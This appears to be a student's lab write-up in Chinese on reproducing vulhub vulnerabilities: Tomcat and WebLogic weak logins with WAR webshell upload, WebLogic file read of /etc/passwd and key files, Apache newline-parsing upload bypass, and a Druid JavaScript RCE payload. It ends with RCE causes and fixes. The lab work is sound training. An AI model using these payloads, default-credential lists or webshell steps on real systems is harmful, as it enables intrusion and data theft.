目录
1.在vps安装docker和docker-compose
2.上课涉及的vulhub中的漏洞,全部复现,同时说明漏洞成因
3.总结RCE漏洞的原理和利用条件及解决方案
一.vps安装docker和docker-compose
apt install docker.io -y
apt-get install docker-compose
二.vulhub漏洞
1.tomcat 弱口令/后台文件上传getshell
弱口令
登录存在弱口令
账号:tomcat
密码:tomcat
成功登录
后台文件上传getshell
将上面的jsp木马写在文档里,通过jar -cvf shell.war x.jsp
生成shell.war
,上传文件
通过蚁剑连接
2.weblogic 弱口令/任意文件读取
在vulhub靶场启动weblogic,浏览器打开http://120.26.231.217:7001/console
进入后台
弱口令
存在弱口令
账号:weblogic
密码:Oracle@123
weblogic常见弱口令总结
- system:password
- weblogic:weblogic
- admin:secruity
- joe:password
- mary:password
- system:sercurity
- wlcsystem: wlcsystem
- weblogic:Oracle@123
任意文件读取
非弱口令情况
访问http://120.26.231.217:7001/hello/file.jsp?path=/etc/passwd
可成功读取passwd文件
- weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可;这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml
- SerializedSystemIni.dat是一个二进制文件,用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,就是密钥,右键copy to file就可以保存成一个文件
SerializedSystemIni.dat
抓包http://120.26.231.217:7001/hello/file.jsp?path=security/SerializedSystemIni.dat
另存响应文本,保存为SerializedSystemIni.dat
config.xml
抓包http://120.26.231.217:7001/hello/file.jsp?path=config/config.xml
在响应信息中找到密钥,复制密钥备用
打开weblogic_decrypt.jar解密工具,进行解密
登录、部署、安装
上载文件
上传文件shell.war
生成方式:jar -cvf shell.war x.jsp
下一步,直到完成
蚁剑连接(war文件部署后会解压为shell.jsp)120.26.231.217:7001/shell/shell.jsp
防御和修复
1.设置Config.do页面登录授权后访问;
2.IPS等防御产品可以加入相应的特征;
3.升级到官方最新版本
3.apache 换行解析/drud RCE
httpd 换行解析
1.查看index.php文件内容
2.上传正常的.php文件会被黑名单拦截
3.抓包修改,在.php后面插入一个\x0A
【即换行符的十六进制】
成功上传
4.访问上传的evil.php%0A
drud RCE
2核2G的bb机跑炸了,用本机kali做
1.访问8888端口进入Druid console控制台界面,点击Load data -->Local disk
2.逐步添加以下内容:
- Base directory: quickstart/tutorial/
- File filter: wikiticker-2015-09-12-sampled.json.gz
3.先开启BP抓包,然后点击Apply
修改POST请求包为以下内容:
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
成功执行其中的js中的id命令
各漏洞成因
漏洞名称 | 漏洞成因 | 漏洞成因 |
3. Tomcat 弱口令/后台文件上传getshell | 弱口令漏洞 | 后台文件上传getshell |
1. Weblogic 弱口令/任意文件读取 | 弱口令漏洞 | 任意文件读取漏洞 |
2. Apache 换行解析/Druid RCE | 换行解析漏洞 | Druid RCE(远程代码执行) |
三.RCE漏洞的原理、利用条件及解决方案
原理
RCE(远程代码执行)漏洞的原理在于攻击者能够向目标系统发送恶意输入,这些输入被目标系统不当处理或未进行充分验证,导致系统执行了攻击者指定的代码。这通常发生在应用程序需要从用户那里接收输入,并将其作为代码或命令的一部分来执行时。如果应用程序没有对这些输入进行严格的验证和过滤,攻击者就可以构造恶意输入,从而控制目标系统。
具体来说,RCE漏洞可能发生在以下几种情况:
- 系统命令注入:在Web应用中,如果应用程序在执行系统命令时使用了用户输入的数据且未进行充分过滤,就可能出现命令注入漏洞。攻击者可以通过注入恶意命令来执行任意代码。
- 代码注入:在动态脚本语言中较为常见,如PHP、Python等。如果应用程序允许用户输入的内容被直接作为代码执行,就可能出现代码注入漏洞。
- 模板注入:当服务器端模板引擎在处理用户输入时没有进行充分的安全检查,攻击者可以通过构造恶意输入来执行任意代码。
- 反序列化漏洞:如果应用程序在反序列化用户输入的数据时没有进行充分的安全检查,攻击者可以构造恶意的序列化数据,导致在反序列化过程中执行任意代码。
利用条件
RCE漏洞的利用条件主要包括以下几点:
- 存在未经验证的输入:目标系统需要从用户那里接收输入,并且这些输入被用于执行代码或命令。
- 输入处理不当:目标系统没有对用户输入进行严格的验证和过滤,或者验证和过滤机制存在缺陷。
- 代码执行权限:攻击者需要能够构造出被目标系统执行的恶意代码或命令。
- 系统配置缺陷:目标系统的配置可能存在缺陷,使得攻击者能够更容易地利用RCE漏洞。
解决方案
针对RCE漏洞,可以采取以下解决方案来降低风险:
- 严格验证和过滤用户输入:对所有用户输入进行严格的验证和过滤,确保它们符合预期的格式和类型,并且不包含恶意代码或命令。
- 使用安全的编程实践:避免使用不安全的函数或方法,如eval()、system()等,这些函数或方法可能会执行用户输入的代码或命令。
- 最小化权限:确保应用程序以最小权限运行,即使发生RCE漏洞,攻击者也只能获得有限的访问权限。
- 使用安全的库和框架:选择经过安全审计和广泛使用的库和框架,它们通常包含更多的安全特性和修复了更多的安全漏洞。
- 定期更新和修补:定期更新和修补应用程序及其依赖的库和框架,以修复已知的安全漏洞。
- 监控和日志记录:实施监控和日志记录机制,以便在发生安全事件时能够及时发现和响应。